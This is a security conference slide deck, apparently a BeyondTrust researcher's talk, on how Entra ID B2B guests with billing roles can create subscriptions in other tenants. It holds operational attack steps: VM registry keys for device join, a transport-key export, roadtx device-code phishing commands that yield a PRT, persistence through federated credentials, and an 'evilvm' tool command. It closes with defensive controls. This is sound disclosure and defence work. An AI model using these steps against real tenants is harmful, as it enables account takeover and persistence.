

### **SIMON MAXWELL-STEWART**


### WHO AM !?

- Physics Undergraduate,
   University of Oxford
- 10+ years in Software and Data Engineering
- 2 years as Lead Data Scientist in Healthcare
- 2 years in Cybersecurity
- Presently resident "graph nerd" at BeyondTrust's Phantom Labs research team



# LET'SSCLVE A MYSTERY


**HOW DID A GUEST MAKE A SUBSCRIPTION?!** 



Guest made subscription!

### FACTS ABOUT THE CASE

- Entra ID account credentials leaked to the dark web
- Account is a guest B2B user in tenant
- Guest user had ZERO....
  - group memberships
  - directory roles
  - RBAC roles
  - permissions granted
- Somehow guest made a subscription?




## AGENDA


- INTRO A mystery!
- Azure
  - Basics
  - In the weeds
  - Newly documented behaviour YAY!
- Microsoft's Position
- Can this be abused?
- Defence

## AZURE - BASICS


## ENTRAID




### ENTRAID BASICS




## ENTRAID BASIC PRIVILEGES





## AZURE RESOURCES BASICS



VMs


## AZURE RESOURCES RBAC ROLES


Built-in role	Description
<u>Contributor</u>	Grants full access to manage all resources, but does not allow you to assign roles in Azure RBAC, manage assignments in Azure Blueprints, or share image galleries.
<u>Owner</u>	Grants full access to manage all resources, including the ability to assign roles in Azure RBAC.
Reservations Administrator	Lets one read and manage all the reservations in a tenant
Role Based Access Control Administrator	Manage access to Azure resources by assigning roles using Azure RBAC. This role does not allow you to manage access using other ways, such as Azure Policy.
<u>User Access Administrator</u>	Lets you manage user access to Azure resources.
Reader	View all resources, but does not allow you to make any changes.

Source: https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles

## AZURE - INTO THE WEEDS

docs







Current user is external


Convert to internal user

Authentication methods

R New support request







# A LESS WELL UNDERSTOOD FEATURE

**BILLING AGREEMENTS** 

### BILLING AGREEMENTS

- Two ways to be billed for direct agreements
  - EA is legacy
  - MCA is replacement

Source: MCA docs, EA docs


### Enterprise Agreement



### Microsoft Customer Agreement




### Owner Contributor — Creator — Reader Billing Account Contains Owner Contributor — Assigned — Creator — .... Reader Billing Role Billing Profile User Contains Owner Contributor Creator — Reader Manager Invoice Section Contains - Creator — Subscription



## EA VISUALIZED BY MICROSOFT

Resources




Source: microsoft.com

## AZURE - UNDOCUMENTED BEHAVIOUR

# BILLING ROLES ARE WELL WITH WELL WITH A STATE OF THE STAT

**BILLING ROLES GRANT PRIVILEGE ACROSS TENANTS?!** 

### **CROSS-TENANT BILLING PRIVILEGES**



## HOMETENANT


Home > Subscriptions >

### Subscriptions « Default Directory


+ Add 📋 Manage Policies · · ·


Global administrators can manage all subscriptions in this list by updating their policy setting here.

View list of subscriptions for which you have role-based access control (RBAC) permissions to manage Azure resources. To view subscriptions for which you have billing access, click here
Showing subscriptions in Default Directory




### Create a subscription





## RESOURCE TENANT

> Help



11/08

Current cost

CA\$21.39

11/09

11/10

11/11

11/12

11/13



Subscription name: GuestMakesSub

: Owner

: 27%

: Azure Plan

My role

Secure Score

Plan

11/14

11/15

## 

## ATTACK STEPS

### **Pre-requisites**

- 1. Attacker is assigned billing role in HOME tenant
- 2. Attacker is invited into RESOURCE tenant as B2B guest

### **Exploit**

3. Attacker creates subscription in RESOURCE tenant

In summary, any B2B guest federating into your tenant is possible vector!

## WHAT WAS MICROSOFT'S VIEW OF THIS?

## MICROSOFT'S POSITION

- Confirmed this behaviour was intended as a feature
- No controls exist, at time of meeting, to prevent guests using billing role privilege across tenant.\*
- Subscriptions are a security boundary in Azure


\*This was updated and Microsoft now proposes controls. We will cover at the end.

## CAN GUEST MADE SUBSCRIPTIONS BE ABUSED?

## WE NEED RELIABLE ATTACK VECTOR

## HOW DO WE BECOME A BILLNG ADMIN?

Sign up for a free Azure trial!



## HOW CAN WE INSERT A RESTLESS GUEST?


https://learn.microsoft.com/en-us/entra/external-id/external-collaboration-settingsconfigure

• Specify who can invite guests: By default, all users in your organization, including B2B collaboration guest users, can invite external users to B2B collaboration. If you want to limit the ability to send invitations, you can turn invitations on or off for everyone, or limit invitations to certain roles.

**OUR SUBSCRIPTION IS EMPTY** 

### UNIQUE PRIVILEGE MODEL

Guest only has access to their subscription... and it's empty :(




empty ->

<- real assets

#### FAILED WAYS TO LEVERAGE THIS

## SUBSCRIPTION TO SUBSCRIPTION? NO!


Subscriptions purpose is to be logical containers!



## BILLING ATTACK? NO!

- Who ends up paying for this new subscription?
- Guests billing account gets billed for subscription and all resources created inside of it
- No way to use this for guests to offload costs

## LIST THINGS GUESTS SHOULD NOT BE ABLE TO




#### API ENDPOINTS

```
"properties": {
    "roleDefinitionId": "/subscriptions/c4ef42c0-9c21-4f83-
    "principalId": "853abbf4-{
        "principalType": "User",
        "scope": "/",
```

- ARM: <a href="https://management.azure.com/subscriptions/{sub\_id}/resourceGroups/{rg}/providers/Microsoft.Compute/virtualMachines/{VM\_NAME}/providers/</a> Microsoft.Authorization/roleAssignments?api-version=2020-04-01-preview
- GRAPH: <a href="https://graph.microsoft.com/v1.0/directoryObjects/getBylds">https://graph.microsoft.com/v1.0/directoryObjects/getBylds</a>


#### WHYTHS WORKS?



#### PARTIAL DEFENCE

Even most restrictive setting only prevents lookup portion.

#### External Identities | External collaboration settings




## 


#### WHY ARE DEVICE IDENTITIES VALUABLE?

- Are a key signal in CAPs (conditional access policies)
- Joined devices will be issued PRTs (primary refresh token)
  - PRTs are valid up to 90 days
  - PRTs provide user SSO to all OAuth resources in Azure

https://aadinternals.com/post/deviceidentity/ - Credit @DrAzureAd

#### HOW DO WE GET ONE?





Home > Virtual machines > Create a virtual machine >

https://learn.microsoft.com/en-us/entra/identity/devices/howto-vm-sign-in-azure-ad-windows

## FUN FACT: NO AAD LOGIN EXTENSION REQUIRED

- Add a managed identity to the VM
- Update registry
- dsregcmd /AzureSecureVMJoin /debug (/Mdmld {MDM\_ID})


Key	Value
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDJ\AzureVmComputeMetadataEndpoint	http://169.254.169.254/ metadata/instance/compute
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDJ\AzureVmTenantIdEndpoint	http://169.254.169.254/ metadata/identity/info
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CDJ\AzureVmMsiTokenEndpoint	http://169.254.169.254/ metadata/identity/oauth2/token

https://akingscote.co.uk/posts/microsoft-azure-cross-tenant-vm-domain-join/

### DEVICE JOINED ENTRAID!

Administrator: Command Prompt	-	×
Microsoft Windows [Version 10.0.19045.5131] (c) Microsoft Corporation. All rights reserved.		^
C:\Users\guestguest>dsregcmd /status		
++   Device State ++		
AzureAdJoined : YES EnterpriseJoined : NO DomainJoined : NO Device Name : GuestVM		
++   Device Details +		
DeviceId: 82c97869-d9cc-4cce-84a8-e50e1884c27c Thumbprint: 03B9FDFE21FF89FD96922D421B48B53D70294E20  DeviceCertificateValidity: [ 2024-11-18 23:06:09.000 UTC 2034-11-18 23:36:09.000 UTC ]  KeyContainerId: 8a6b823a-6a9b-42ca-980e-c35a9ebec21b  KeyProvider: Microsoft Software Key Storage Provider  TpmProtected: NO  DeviceAuthStatus: SUCCESS		
++   Tenant Details +		
		~

#### PORTAL VIEW



These persist after VM deletion!

# DEVICES CAN BE USED FOR PISHING

#### EVIL VM - DEVICE GODE PHISH

As sub owner we can make VMs:

- AAD Joined
- No TPM protections
- Access to local admin


Means we can steal device identity pub + priv key!

https://aadinternals.com/post/deviceidentity/

```
PS C:\Users\guestguest> Export-AADIntLocalDeviceTransportKey
WARNING: Running as LOCAL SYSTEM. You MUST restart PowerShell to restore GuestInsecureVM\guestguest
Transport key exported to 3c592aac-d4ff-45b2-9b4d-cf50ded41325_tk.pem
PS C:\Users\guestguest> dir
    Directory: C:\Users\guestguest
                                            Length Name
                     LastWriteTime
Mode
                                            ----- ----
                           5:30 PM
              11/19/2024
d----
                                                   .azure
                                                   3D Objects
              11/19/2024
                           7:03 AM
d-r---
                          1:20 AM
                                                   AADInternals-master
              11/22/2024
                          7:03 AM
              11/19/2024
d-r---
                                                   Contacts
              11/21/2024
                           9:44 PM
d-r---
                                                   Desktop
              11/21/2024
                           9:34 PM
                                                   Documents
d-r---
              11/19/2024
                          7:42 AM
                                                   Downloads
d-r---
                                                   Favorites
                           7:03 AM
d-r---
              11/19/2024
                           7:03 AM
d-r---
              11/19/2024
                                                   Links
                           7:03 AM
                                                   Music
              11/19/2024
d-r---
                           7:03 AM
                                                   OneDrive
d-r---
              11/19/2024
                                                   Pictures
                           7:03 AM
              11/19/2024
d-r---
              11/19/2024
                           7:03 AM
                                                   Saved Games
d-r---
                           7:03 AM
d-r---
              11/19/2024
                                                   Searches
                           7:03 AM
                                                   Videos
              11/19/2024
d-r---
                           1:21 AM
                                              2524 3c592aac-d4ff-45b2-9b4d-cf50ded41325.pfx
              11/22/2024
                           1:21 AM
              11/22/2024
                                              1708 3c592aac-d4ff-45b2-9b4d-cf50ded41325_tk.pem
-a---
              11/22/2024 1:20 AM
                                          1846300 master.zip
```

S C:\llcarc\quastquast\

#### DEVICE CODE PHISH



Having device certificate and transport key open up this device code phish attack.

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/

#### DEVICE GODE PHISH


#### Step 1 - Phish for refresh token

```
smaxwellstewart@L-MM9Q1C37FL ~ % roadtx gettokens --device-code -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r https://enrollment.manage.microsoft.com/
Requesting token for resource https://enrollment.manage.microsoft.com/
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code L33DRNFWP to authenticate.
Tokens were written to .roadtools auth
```

#### Step 2 - Upgrade refresh token to PRT

```
smaxwellstewart@L-MM9Q1C37FL ~ % roadtx prt --refresh-token file --cert-pfx $CERT_FILE -tk $TK_FILE
Obtained PRT: 1.AbcALRTmQyMsFkOpyE6dL8J_2J_
pPRQHOLTdeC96XynxFrflVZGZdPSVh5KSBwo1He0s7t
cuxPu196seRwzGklxjy8ndwLwjaapwoVLcQwCbnF6v_
_RQ-74000n9ggLn1BXtJv1K2_fb3nqfNRUEGpcpRd-!
eLp0ozBfj-sLLC0QWM6JjrSUkUmGZuHG7nCkJZGKyQl
dZoWpnH-WmEJc6285tk9jN8-3V4cznEixrsEPEF1nPl
7dTT76ig-gKe-pIlODw1ShXKvvAj-wwzwdYMo9X09Ql
Qdppj54cyvNVP9-JUcXD71CDZMLkuSPydMl7inZfGpl
xrCanJ0EpGD0xTz
Obtained session key: 2bd110af370323073a5at
Saved PRT to roadtx.prt
smaxwellstewart@L-MM9Q1C37FL ~ %
```


#### NOW WE ARE GLOBAL ADMIN



## WE CAN DO THIS WAY TOO

#### PASS THE PRI

Non-traditional phish, if we can we get an admin to login to the VM?



#### GRANT LOGIN ACCESS:

#### Bastion provides a "secure" way to RDP:

az network bastion rdp


- --name VM5-vnet-bastion
- --resource-group VM5\_group
- --target-resource-id /subscriptions/{sub\_id}/resourceGroups/{rg\_id}/providers/Microsoft.Compute/virtualMachines/{vm\_id}
- --auth-type AAD


#### **OR old fashioned way:**

https://akingscote.co.uk/posts/microsoft-azure-cross-tenant-vm-domain-join/

# PROBLEM BEING A GUEST OWNER LOOKS SUSPICIOUS!

#### Guest accounts with owner permissions on Azure resources should be re





Create Cancel

#### EVADE - BETTER THAN SILENGING ALERTS?


Ideally we want to...

- Persist as a different security principal
- Retain owner rights to subscription
- Disappear as guest


**MANAGED IDENTITIES** 

#### WHAT ARE MANAGED IDENTITIES?

 Managed Identities are a way Azure Resources can authenticate against the directory to receive access tokens.




#### PIVOT




#### DEEPEN PERSISTENCE

- We can use a well known technique of adding attacker controlled OIDC federated credentials (source: @dirkjanm)
- Doing this allows us to deepen persistence; attacker controlled identity separate from original guest



#### PIVOT! PIVOT!



## A FINAL TOUGH

#### CAN WE DISAPPEAR COMPLETELY?


#### External user leave settings

Allow external users to remove themselves from your organization (recommended)

Learn more

Yes No





## 





https://github.com/kidtronnix/restless-guest

(venv) \$ [

(venv) \$ rlg sub evilvm --vm-name "BASTION-VM" --region "eastus" --admin-username "eviladmin" --admin-password "MyEvilP@ssw0rd123" --subscription-id \$SUB\_ID --tenant-id \$T ENANT\_ID -u \$RESTLESS\_GUEST -p \$PASSWORD[]

### ALL COMMANDS

- tenants get list of tenants
- invite invite user into tenant
- defend run a security assessment
- sub subscription management
  - create create a subscription
  - **iam** list RBAC role assignments
  - assignment make an RBAC assignment
  - evilvm make an gen 1 VM (no TPM protection)
  - persist make a manage identity
  - resources list resources on subscription

## NEW DOCUMENTATION

### MICROSOFTS NEW DOCUMENTATION

https://learn.microsoft.com/en-us/azure/cost-management-billing/manage/manageazure-subscription-policy

#### Important note

Authorized users (including guest users) in your directory can create Azure subscriptions in another directory where they have billing permissions and then transfer those subscriptions into your Entra ID directory. If you don't want to allow this, you should set one or both of the following policies:

- Subscriptions leaving Entra ID directory should be set to Permit no one.
- Subscriptions entering Entra ID directory should be set to Permit no one.


# DEFENCE

### PREVENTION IS KEY

```
=== GUEST SECURITY ASSESSMENT ===
Subscription creation / transfer policy
blockSubscriptionsIntoTenant: False
No restrictions on subscription transfers into the tenant
RISK! Sub creation / transfer into tenant is wide open to guests.
Guest Invite Policy
allowInvitesFrom: everyone:
Anyone in the organization can invite guest users including guests and non-admins (most inclusive)
RISK! Even guests can invite guests!
Guest User Access Level
guestUserRoleId: 10dae51f-b6af-4016-8d66-8c2a99b929b3):
Guest users have limited access to properties and memberships of directory objects (default)
RIST! Enumerate management group principal ids and lookup technique possible!
```


### STOP ROOT GAUSE!

#### Subscriptions | Manage policies



### **CONTROLS!**

Home > External Identities



### External Identities | External collaboration settings

Search  ○ «	☐ Save X Discard
① Overview	
Cross-tenant access settings	
All identity providers	Guest user access
External collaboration settings	Guest user access restrictions ①
X Diagnose and solve problems	Learn more
> Self-service sign up	Guest users have the same access as members (most inclusive)
> Subscriptions	Guest users have limited access to properties and memberships of directory objects
> Lifecycle management	<ul> <li>Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)</li> </ul>
> Troubleshooting + Support	Guest invite settings
	Guest invite restrictions ①
	Learn more
	<ul> <li>Anyone in the organization can invite guest users including guests and non-admins (most inclusive)</li> </ul>
	Member users and users assigned to specific admin roles can invite guest users including guests with member permissions
	Only users assigned to specific admin roles can invite guest users
	No one in the organization can invite guest users including admins (most restrictive)
	Enable guest self-service sign up via user flows ①
	Learn more
	Yes No
	External user leave settings
	Allow external users to remove themselves from your organization (recommended)
	Learn more
	Yes No
	Collaboration restrictions
	⚠ Cross-tenant access settings are also evaluated when sending an invitation to determine whether the invite should be allowed or blocked.
	Allow invitations to be sent to any domain (most inclusive)
	Only invitations to the specified domains
	Allow invitations only to the specified domains (most restrictive)

### DEFENCE, DEFENCE, DEFENCE!

- Add MFA for Guests via CA!
- Monitoring guest made subscriptions
- Review usage of broad dynamic device groups and conditional access policies of devices
- Some alerts can pop up in Security Center
- Harden Root Management Group Policies
- Audit devices

# CONCLUSION

### CONCLUSION

- The B2B guest threat model is not well understood
- Defaults are insecure
- Hardening works!

# QUESTIONS?



SIMON MAXWELL-STEWART @KIDTRONNIX

LINKEDIN: LINKEDIN.COM/IN/SIMON-MAXWELL-STEWART-46B848A2

PT 1: <a href="https://www.beyondtrust.com/blog/entry/restless-guests">https://www.beyondtrust.com/blog/entry/restless-guests</a>

PT 2: <a href="https://www.beyondtrust.com/blog/entry/evil-vm">https://www.beyondtrust.com/blog/entry/evil-vm</a>

TOOLKIT: HTTPS://GITHUB.COM/KIDTRONNIX/RESTLESS-GUESTS